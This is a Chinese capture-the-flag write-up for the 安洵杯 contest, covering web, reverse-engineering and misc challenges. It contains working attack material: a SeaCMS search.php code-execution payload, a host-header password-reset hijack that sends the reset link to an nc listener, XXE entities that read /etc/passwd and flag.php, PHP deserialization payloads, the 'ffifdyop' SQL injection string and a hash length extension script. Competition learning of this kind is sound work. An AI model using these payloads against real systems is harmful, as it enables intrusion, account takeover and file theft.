安洵杯 --writeup



7 篇文章 1 订阅 订阅专栏

web:

only d0g3er can see flag

这个打开一个是一个海洋cms,通过百度,在search.php有一个代码执行漏洞

直接构造payload:

http://138.68.2.14/seacms/search.php?searchtype=5
POST:
searchword=searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchyage:area}}



直接蚁剑连接,在数据库配置文件密码是 FlagIsNotHere ,猜测flag应该不在这里

再根据tips有源码泄露,放工具里跑一下找到源码,找到数据库配置文件,发现是flag所在库的数据库账号信息

xt 🗵 🔚 common. inc. php🛛

><?php //数据库连接信息,flag在flag表里,只有d0g3看得到 \$cfg_dbhost = · '127.0.0.1'; \$cfg_dbname = · 'D0g3'; \$cfg_dbuser = · 'd0g3'; \$cfg_dbpwd = · 'FlagIsHere'; \$cfg_dbprefix = · 'sea_'; \$cfg_dbprefix = · 'sea_'; \$cfg_db_language = · 'utf8';

https://blog.csdn.net/gg_39850969

用工具连接本地数据库

🔯 中国蚁剑	-		×				
AntSword 数据编辑 窗口	ntSword 数据编辑窗口						
◀ ■ ■ 138.68.2.14 ⊗				۰.			
■配置列表 <	<♪ 执行SQL			^			
●添加	▶ 执行 × 清空						
Avai Information_schema information_schema information_schema flag flag flag value (varchar(100)) sea_admin sea_arcrank sea_buy sea_cck sea_cc_cls sea_cc_cls sea_cc_filters sea_cc_filters sea_cc_type sea_cc_type sea_cc_url sea_content sea_count	1 SELECT * FROM `flag` ORDER BV 1 DESC LIMIT 0,30; 中执行结果 value RDBnM3tUaGlzX2lzX3JYWxfZmxhZ30=			~			
- ∰ sea_crons - ∰ sea_data - ∰ sea_erradd		https://blog.csdn	net/qq_398	350969			



Magic Mirror

← → ℃ ③ 不安全 222.18.158.227:10280		☆ ○ ∞ ♦ ⑤ :
🏭 应用 🅈 百度一下 🧲 Google 💶 渗透测试 - YouTube 📒 学习平台	□ ctf □ 优秀文章 □ 信息收集 □ 漏洞平台&SRCS □ 编码解码 □ 大牛博客	学校网站
	//////////////////////////////////////	
	Username	
	Password	
		https://blog.csdn.ne//qg_3985096

看到登录框,只知道 账号admin,不知道密码,刚好又有一个忘记密码,说明可以找回 根据提示,不清楚的去看文章,可以修改数据包中的host,就可以将密码重置的链接发送到我们的vps上 先在vps上监听一个端口



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然后找回admin密码的时候抓包,将host改为我们监听的vps

Request to http://222.18.158.227:10280									
Forward Drop Intercept is on Action									
Raw Params Headers Hex									
POST /func/getpasscheck.php HTTP/1.1									
Host: 211. 5:9999									
User-Agent: Moziifa/5.0 (Windows NT 10.0; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0									
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8									
Accept-Language: zh-CN, zh;q=0.8, en-US;q=0.5, en;q=0.3									
Accept-Encoding: gzip, deflate									
DNT: 1									
Referer: http://222.18.158.227:10280/getpassword.php									
Cookie: PHPSESSID=5dlu5tgat968intu8pmun6vta3									
Connection: close									
Content-Type: application/x-www-form-urlencoded									
Content-Length: 14									
username=admin									
https://blog.csdp.pat/gg_20250060									

发包之后vps就收到了重置链接,然后访问修改就行了

ubuntu@VM-0-15-ubuntu:~\$ nc -lvnp 9999 Listening on [0.0.0.0] (family 0, port 9999) Connection from [222.18.158.227] port 9999 [tcp/*] accepted (family 2, sport 55 124) GET /resetpassword.php?sign=568fef3f3399af5f9377694b7725b758 HTTP/1.1 Host: 211.159.177.185:9999 Accept: */* Referer: http://211.159.177.185:9999/func/getpasscheck.php https://blog.csdn.net/qq_39850969

登陆之后查看页面源码,发现是xxe漏洞

然后常规抓包,构造payload看看

Go Cancel < v > v	Target: http://222.18.158.227:10280 🖉 📿
Request	Response
Raw Params Headers Hex XML	Raw Headers Hex
POST /admin/server.php HTTP/1.1	HTTP/1.1 200 0K
Host: 222.18.158.227:10280	Date: Sun, 25 Nov 2018 15:02:07 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:45.0)	Server: Apache/2.4.7 (Ubuntu)
Gecko/20100101 Firefox/45.0	X-Powered-By: PHP/5.5.9-1ubuntu4.26
Accept: text/plain, */*; q=0.01	Expires: Thu, 19 Nov 1981 08:52:00 GMT
Accept-Language: zh-CN, zh;q=0.8, en-US;q=0.5, en;q=0.3	Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
Accept-Encoding: gzip, deflate	pre-check=0
DNT: 1	Pragma: no-cache
Content-Type: text/xml	Vary: Accept-Encoding
X-Requested-With: XMLHttpRequest	Content-Length: 1040
Referer: http://222.18.158.227:10280//admin/	Connection: close
Content-Length: 141	Content-Type: text/html;charset=utf-8
Cookie: PHPSESSID=5dlu5tgat968intu8pmun6vta3	
Connection: close	DUg3键 简呼免决烘磁饼蔵oot:x:0:0:root:/root:/bin/bash
	daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<pre></pre> <pre>// version="1.0"?></pre>	bin:x:2:2:bin:/bin:/usr/sbin/nologin
DUCITYE test [</td <td>sys:x:3:3:sys:/dev:/usr/sbin/nologin</td>	sys:x:3:3:sys:/dev:/usr/sbin/nologin
<pre><!--ENIIIY xxe SYSIEM "file:///etc/passwd"--></pre>	sync:x:4:65534:sync:/bin/sync
]> /information//warmana//warmana///information/	games: x:5:00: games: / usr/ games: / usr/ sbin/ no login
<pre><intormation><username>&xxe </username></intormation></pre>	man: x:o: Iz:man:/var/cacne/man:/usr/sbin/nologin
	ip:x:/:/:ip://var/spool/ipd:/usr/sbin/nologin
	mail:x:o:o:mail:/var/mail:/usr/sbin/nologin
	news: x: y: y: news: / var/spool/news: / usr/sbin/nologin
	uucp:x:10:10:uucp:/var/spool/uucp:/usr/spin/notogin
	proxy:x:i3:i3.proxy:/biii./usr/sbii/hologiii
	hackup:v:34:34:backup:/var/hackupe:/uer/chin/hologin
	liet.v.28.28.Mailing liet Manager:/var/liet./usr/chin/nologin
	irc.v.30.30.ircd./var/run/ircd./usr/shin/nologin
	gnats:x:41:41:Gnats Bug-Reporting System tos://biog.csdn.net/cg_39850969

一般思路肯定是先用工具扫一扫有哪些文件,刚好扫到了一个flag.php文件。

肯定是直接读取flag.php文件内容了

🚯 Burp Suite Professional v1.7.30 - Temporary Project - licensed to Larry_Lau – 🗆 X									×					
Burp Intruder Repeater Window Help														
Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer	Extend	ler Project o	ptions	User o	options	Alerts								
$\fbox{1 \times 2 \times 3 \times 4 \times 5 \times 6 \times 7 \times 8 \times 9 \times 10 \times 11 \times 12 \times 13 \times 14}$	4 × 15	i × 16 × `	17 ×	18 ×	1 9 ×	20 ×	21 ×	22 ×						
Go Cancel < v > v									Targe	t: http://2/	22.18.158	.227:102	30 🥖	?
Request		Respon	ise											
RawParamsHeadersHexXMLPOST /admin/server.phpHTTP/1.1Host: 222.18.158.227:10280User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:45.0)Gecko/20100101 Firefox/45.0Accept: text/plain, */*; q=0.01Accept-Language: zh=ON, zh;q=0.8, en=US;q=0.5, en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Content-Type: text/xmlX=Requested=With: XMLHtpRequestReferer: http://222.18.158.227:10280//admin/Content-Length: 194Cookie: PHPSESSID=5dlu5tgat968intu8pmun6vta3Connection: close?xml version="1.0"?>!lDOCTYPE test [!LTITY xxe SYSTEMphp://filter/read=convert.base64=encode/resource=/var/www/html/flag.php		Raw I HTTP/1.1 Date: Su Server: X-Powere Expires: Cache-CC pragma: Vary: Ac Content- Sonneot- Content- DOg3@[61HR1eH gc216ZT gdGhpcy IIS17Cm yPjxicj i0wovL2	Headers 1 200 un, 25 Apach ad-By:: Thu, thu,	oK i Nov 2 ine/2.4. PHP/5 19 No i no-s inche Encodi ch: 444 cgY29s FnPy17 Bgljxi plY2hw c61EQw	2018 1 .7 (Ub 5.5.9- ov 198 store, ing 4 /html; 读JaGFy sb3l9 7CmVj icj48 vICJH wZzN7	15:04:4 puntu) -1ubunt 31 08:5 no-ca c2V0P J3J1Z aG8g1 Yn1+1 ZXQgb SG1fR	44 GMT tu4.26 52:00 G ache, 1 4AKaG XVOZit Cc+1j: jxicj jxicj jsKZW DBnM19	GMT must-r 04lik sKZWN 48Ynl NobyA NobyA 9SZXM	reval yKCJE 7CmV, obyA + Ijss iQnV(jaG8 zdF8(idate, p)b250ZW jaG8glj iWW91IH KZWNoby OIG5vdy gljwvZm	50LVR5 ixjZW50 Idhbm5h AiT2gg wgljsK PudD48 ThIfQoK	sck=0, IZXI+PG IGNhcF seWVzLC (ZWNoby L22NIbr (Cj8+Cg	iZvbní IR1cmi BoZX. A i PG RI c j₁ ;== t	Q U U J J 4
<pre>information><username>&xxe</username></pre>		>												
? + > Type a search term 0 m	natches	?	: +	>	Туре	e a sean	ch term						0 m	atches
Done												807 by	/tes 8/	9 millis

得到数据,拿去解密就是flag了

Double-S

开局就是什么都没有,太不友好了。。。

果断拿去御剑扫一波,发现源码

```
₽<?php
 ini set('session.serialize handler', 'php');
 session start();
 class Anti
自 {
 public $info;
function construct()

\ominus \cdot \cdot \cdot \cdot \{

....$this->info.=.'phpinfo();';
••••}
function destruct()

\downarrow \cdot \cdot \cdot \cdot \{

| \cdot \cdot \cdot \cdot \rangle
- }
 if(isset($ GET['aa']))
自 {
if(unserialize($ GET['aa']) == 'phpinfo')
白 • • • • {
\cdot \cdot \cdot \cdot \longrightarrow \$m \cdot = \cdot new \cdot Anti();
- \cdot \cdot \cdot \cdot
- }
else
自 {
 header("location:index.html");
```

https://blog.csdn.net/qq_39850969

这就是一个PHP的反序列化问题

自己在本地构造一下:

```
<?php
class Anti
{
    public $info = "phpinfo();";
}
$m = new Anti();
echo serialize($m);</pre>
```

然后传个参进去

000/session.php?aa=O:4:"Anti":1:{s:4:"info";s:10:"phpinfo();'	54.200.169.99:7000	不安全	C 0	\rightarrow	\leftarrow
000/session.php?aa=O:4:"Anti":1:{s:4:"info";s:10:"phpinfo(54.200.169.99:7000	不安全	CO	\rightarrow	\leftarrow

🏥 应用 🎂 百度一下 🔓 Google 💶 渗透测试 - YouTube 📙 学习平台 📙 ctf 📒 优秀文章 📙 信息收集 📒 漏洞平台&SRCS 📒 编码解码 📒 大牛博客 📒 学校网站

PHP Version 5.6.36	php
System	Linux f083fc0ca609 4.15.0-1023-aws #23-Ubuntu SMP Mon Sep 24 16:31:06 UTC 2018 x86_64
Build Date	Oct 26 2018 13:37:32
Configure Command	'./configure' 'prefix=/usr/local/php' 'with-config-file-path=/usr/local/php/etc' 'with-config-file-scan- dir=/usr/local/php/conf.d' 'enable-fpm' 'with-fpm-user=www' 'with-fpm-group=www' 'with- mysql=mysqlnd' 'with-imysql=mysqlnd' 'with-pdo-mysql=mysqlnd' 'with-ifcm-dir'-user' 'enable- dir=/usr/local/freetype- dir'-usr/local/freetype-iwith-jpeg-dir' 'with-rgd'' 'with-libxml-dir'-usr' 'enable- xml' 'disable-rpath' 'enable-bcmath' 'enable-shmop' 'enable-sysvsem' 'enable-inline- optimization' 'with-curl' 'enable-mbregex' 'enable-mbstring' 'with-mcrypt' 'enable-ftp' 'with- gd' 'enable-gd-native-ttf' 'with-openssl' 'with-mhash' 'enable-pcntl' 'enable-sockets' 'with- xmlrpc' 'enable-soap' 'with-gettext' 'disable-fileinfo' 'enable-opcache' 'enable-intl' 'with-xsl'
Server API	FPM/FastCGI
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/usr/local/php/etc https://blog.csdn.net/gg_398

接下来就很好办,直接读取文件内容

查看目录下的有哪些文件:

```
<?php
class Anti
{
    public $info = "var_dump(scandir('./'));";
}
//var_dump(scandir('./'));
$m = new Anti();
echo serialize($m);
</pre>
```

flag文件 f1ag_i3_h3re

show_source()查看文件源码

```
<?php
class Anti
{
    public $info = "show_source('f1ag_i3_h3re');";
}
$m = new Anti();
echo serialize($m);
```



D0g3{Sim_P13_S3sSiOn}

得到flag

BOOM

这个题看前面的描述感觉应该和验证码有关,经过测试,发现在登陆后台的时候用burp多次发包验证码是没有 改变的

网站默认登录用户名和密码为 admin 12345 用户登录后可自行修改密码 暂时不支持验证码验证

https://blog.csdn.net/qq_39850969

扫除readme_.html页面,用这个账号登陆密码错误,更改了密码

猜测是还是修改为了5位数的密码

生成一个5位数的字典进行爆破

到005**左右的时候就会爆破出来正确密码

然后用爆破出来的密码登陆就行了,就会弹出一个字符串,就是flag了。

无限手套



才开始打开这个页面发现什么都没有,通过百度翻译知道这是一个参数,果断加进去,但是测试半天还是没有结果

手贱在参数后面加了一个中括号,然后就出现了一个框框



看到东西就好说了,随便输入密码

提示错误后查看页面源代码

很明显是一个执行的语句,password是原始二进制,引号里面的内容就是我们输入的密码,所以解题思路就是 找到一个字符串md5为原始二进制数据后可以闭合前面的引号

ffifdyop 刚好可以解决问题

```
md5(ffifdyop, true) = 'or'6�]��!r,��b
```

https://blog.csdn.net/qq_24810241/article/details/79908449

输入这个字符串就可以得到flag

Hash! ! !

输入用户名密码,进行常规抓包,数据包请求头的cookie参数中有一个source参数为0,改为1,得到源码



copy出来分析一下,就是hash长度扩展攻击

https://blog.csdn.net/qq_35078631/article/details/70941204

百度了一篇文章

下载工具

改python脚本

```
# -*- coding:utf-8 -*-
from urlparse import urlparse
from httplib import HTTPConnection
from urllib import urlencode
import requests
import json
import time
import os
import urllib
def gao(x, y):
    #print x
    #print y
    url = "http://207.246.104.192/00001/index.php"
    #url = "http://192.168.100.159/hash.php"
    cookie = "source=0; getflag=" + y
    # print cookie
    build_header = {
            'Cookie': cookie,
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:44.0) Gecko/20100101 Firefox/44
            'Host': '207.246.104.192',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    }
    res = requests.post(url, data={'username':'D0g3', 'password': x}, headers=build_header)
    return res.text
for i in xrange(1,50):
    print i
    #secret len = ???
    find_hash = "./hash_extender/hash_extender -d ';\"tseug\":5:s' -s 3a4727d57463f122833d9e732f94e4e0 -f m
    find_hash = "./hash_extender -d 'D0g3' -a 'D0g3' -s 'c3ef608fdc59d9143c39664ade7556d5' -f md5 -l " + st
    calc_res = os.popen(find_hash).readlines()
    hash_value = calc_res[0][:32]
    attack_padding = calc_res[0][32:]
    ret = gao(attack_padding, hash_value)
    #print ret
    if "Hacker" not in ret:
        print ret
        break
```

运行脚本

```
Great! You're in!
<!-- The flag is D0g3{h4sh_1s_s0_diffic1ut_t0_me}-->
root@kali:~/hash_extender-master#
```

得到flag

方舟计划

扫目录,有robots.txt,访问发现有robots.php,打开有一串二进制,直接转16进制,然后转文本,得到 caipiao6.zip

通过查看源码知道购买的时候是进行的弱比较



```
(true == 不为0的数)为true,比较成功
```

所以只需构造猜的数字为true就行

```
<?php
$a = array(
    "action"=>"buy",
    "numbers"=>array(
    "0"=>true,
    "1"=>true,
    "2"=>true,
    "3"=>true,
    "4"=>true,
    "5"=>true,
    "6"=>true,
    )
);
echo json_encode($a);
?>
```

将得到的字符串替换post数据,多发几次包,钱就够了



购买了之后,根据pqe,求出秘钥生成中的d

```
根据公式,用python脚本跑一下
```

import gmpy

#N=q*p

N,p,q,e=213569520509446,473398606,451141,17

```
d=gmpy.invert(e,(p-1)*(q-1))
```

print(d)

root@kali:~# python rsa.py 150754621171553 root@kali:~#

加上格式就是D0g3格式就是flag

re

阿根廷

经过虚拟机测试,该病毒为MBR病毒,

于是快照回去,下ReadFile,OpenFile,WriteFile,CreateFileA,CreateFileW,准备dump

buffer里的内容,然后IDA反编译。

步骤进行到一半,看见了buffer里居然有敏感信息,二话不说交上去试试,Nice!!!

解题完成。

ł		88321183 08321196	SB40 FC mov ecx.dword ptr ss:[ebp=0x4] 33C0 xor ecx.ebp		- T D	0 GS 8000 NULL 0 GS 8000 NULL 0
36		ds:[88323	844j=77D21488 (kernel32.VriteFile)		0	a LastErr ERROR_ACCESS_DENIED
					EF	L 08000246 (NO,ND,E,DE,NS,PE,G
		+sh+si	ury #bin	444	机 持族 注释	9 9 0
		1011E	HEA 安美術 ER 69 ER 4E 7E 79 98 68 69 E9 98 48 79 98 62 79	Fillow NRR is Re	<u>北 安田 日本祥</u> 2957102 00800072 b5i10 - 80008072 (vd	ndow)
		8823F74C	65 61 68 28 77 69 74 68 28 63 6F 64 65 38 31 31	eak with code:11	23F758 8823F79C Buffer = 8823F79C	(100w)
-107	1	0023F7BC	36 34 32 88 80 80 88 44 38 67 33 78 31 31 36 34 32	642D8g3(11642 00	23F754 00000200 nBytesToWrite = 200	(512.)
	_	8823F7CC	5F 31 31 39 36 33 7D 00 59 6F 75 20 67 6F 74 20	_11963}.You got 80	23F758 0023F768 pBytesWritten = 0823	0F768
		8823F7DC	69 74 RA RD 00 31 DB 8E DB A1 13 04 83 E8 82 A3	it1膠腳 於了 🛛 🗤	23F75C AAMAAAMA LpOverlapped - HULL	
		8823F7EC	13 84 C1 E0 86 8E C8 BE 80 7C 31 FF B9 08 02 F3	■ 按■點? 1ÿ? ? 80	23F760 004357A8 ASCII "洋C"	
		0023F7FC	R4 06 68 66 00 CB E8 0C 00 E8 31 00 E8 19 00 E8 1	?hF.ttt?.?.? 00	23F764 7138E76C ucrtbase.7138E76C	
dła		0023F800	4H 00 E5 4C 00 BU 02 00 BY 23 00 84 13 B0 01 87	J.##:.?.???? 000	231708 00000200	
		8823F816	RR 81 B7 88 B3 8C 31 D2 B6 83 CD 18 C3 BF 26 88	22210+ 2418. BR	23F778 #8823F798	
		6623F83C	81 C6 88 7C 31 C8 CD 16 25 FF 88 3C 80 74 FE 38	伯.[1芸毗].<.t?00	23F774 88322285 長回意·//オ Poot /8888	ഷാഷിഷം നുനുമുളവും
		8823F84C	84 75 EA 46 BA 1C 88 FB 80 75 E9 C3 31 C8 CD 16	"4]號?∎?u憩1劳∎ 88	23F778 0023F79C ASCIT EB COUP HER	리 바람 바라 드 이 있는 것 같 것 같 것 같 것 같 것 같 것 같 것 같 것 같 것 같 것

巴哈马

分析程序发现程序无法正常运行,不能正常加载IAT表,于是用PEview查看发现造成的原因是.rdata段未能正常加载,于是需要先修改PE。

pFile	Data	Description	Value	
00000228	2E 72 64 61	Name	.rdata	
0000022C	74 61 00 00			
00000230	00000D7A	Virtual Size		
00000234	00003000	RVA		
00000238	00000000	Size of Raw Data	-	
0000023C	00001800	Pointer to Raw Data	根据PF结构,将此处修改为F00	
00000240	00000000	Pointer to Relocations		
00000244	00000000	Pointer to Line Numbers		
00000248	0000	Number of Relocations		
0000024A	0000	Number of Line Numbers		
0000024C	40000040	Characteristics		
		00000040	IMAGE_SCN_CNT_INITIALIZED_DATA	
		4000000	IMAGE_SCN_MEM_READ	

https://blog.csdn.net/qq_39850969

查找字符串,将下面的一个jmp跳转nop掉,即可正常运行程序

011510BB		8945 DA	<pre>mov dword ptr ss:[ebp-0x26],eax</pre>		^
011510BE		8945 DE	<pre>mov dword ptr ss:[ebp-0x22],eax</pre>		
011510C1		8945 E2	<pre>mov dword ptr ss:[ebp-0x1E],eax</pre>		
011510C4		8945 E6	<pre>mov dword ptr ss:[ebp-0x1A],eax</pre>		
011510C7		8945 EA	<pre>mov dword ptr ss:[ebp-0x16],eax</pre>		
011510CA		68 8C311501	push PE_Debug.0115318C	first,you need make program run\n	
011510CF		E8 4CFFFFFF	call PE_Debug.01151020		
011510D4		83C4 Ø4	add esp,0x4		
011510D7		B8 DE101501	mov eax,PE_Debug.011510DE		
011510DC		FFE0	jmp eax		
011510DE		CD 2D	int 0x2D		
011510E0		68 B0311501	push PE_Debug.011531B0	please input flag:\n	
011510E5		E8 36FFFFFF	call PE_Debug.01151020		
011510EA		83C4 04	add esp,0x4		
011510ED		8D4D D0	<pre>lea ecx,dword ptr ss:[ebp-0x30]</pre>		
011510F0		51	push ecx	PE_Debug. <moduleentrypoint></moduleentrypoint>	
011510F1		68 C4311501	push PE_Debug.011531C4	%5	
011510F6		E8 55FFFFFF	call PE_Debug.01151050		
011510FB		83C4 08	add esp,0x8		
011510FE		8D55 D0	<pre>lea edx,dword ptr ss:[ebp-0x30]</pre>		v
011510DE=	PE	Debug.011510D	E		
eax=1B71D)B11				
				https://blog.codp.pot/gg_2005006	~
				mups://biog.csdn.nev/dq_39850965	J

用IDA加载,找到main函数

}

```
v10 = 0;
v11 = 0;
v12 = 0;
sub_401020("first,you need make program run\n");
sub_401020("please input flag:\n");
sub_401050("%s", &v5);
if ( (char *)&v5 + strlen((const char *)&v5) + 1 != (char *)&v5 + 1
  && (unsigned int)((char *)&v5 + strlen((const char *)&v5) + 1 - ((char *)&v5 + 1)) < 0x1E)
{
  sub 4013F0(&v13);
  sub_4012A0(&v5, &v3);
  v^2 = 10;
  while (1)
  {
    v1 = v2--;
    if ( !v1 )
     break;
    if (*((char *)&v13 + v2) != v4[2 * v2] || *(&v3 + 2 * v2) + 2 != (off_404018[v2] ^ 3) )
    {
      sub_401020("sry,u are wrong :(\n");
      system("pause");
      return 0;
    }
  }
  sub_401020("Congratulation, flag is:\nD0g3{%s}\n");
  system("pause");
  result = 0;
}
else
{
  sub_401020("sry,u are wrong :(\n");
  system("pause");
  result = 0;
}
return result;
```

一个简单的20位密码,分别进行奇数位和偶数位比较

```
⊡int main()
      char table[20] = \{ 0, \};
      char v3[] = { 0x4C, 0x4B, 0x64, 0x38, 0x67, 0x50, 0x59, 0x57, 0x53, 0x5B, 0x00 };
      char v13[] = { 0x32, 0x54, 0x56, 0x42, 0x6E, 0x78, 0x30, 0x6C, 0x6E, 0x6E, 0x00 };
      for (int j = 0; j < 10; j++)
          table[j * 2 + 1] = v13[j];
          table[j * 2] = (v3[j] ^ 3) - 2;
          printf("%c", table[i]);
      system("pause");
```

https://blog.csdn.net/qq_39850969

得出一个密文,在base64解密

M2FTeV9BbnQxX0R1NnVn请按任意键继续. . .

.

_

D0g3{ 3aSy_Ant1_De6ug}

Misc

智利



根据图得出幺元为c, MD5加密

D0g3{4a8a08f09d37b73795649038408b5f33}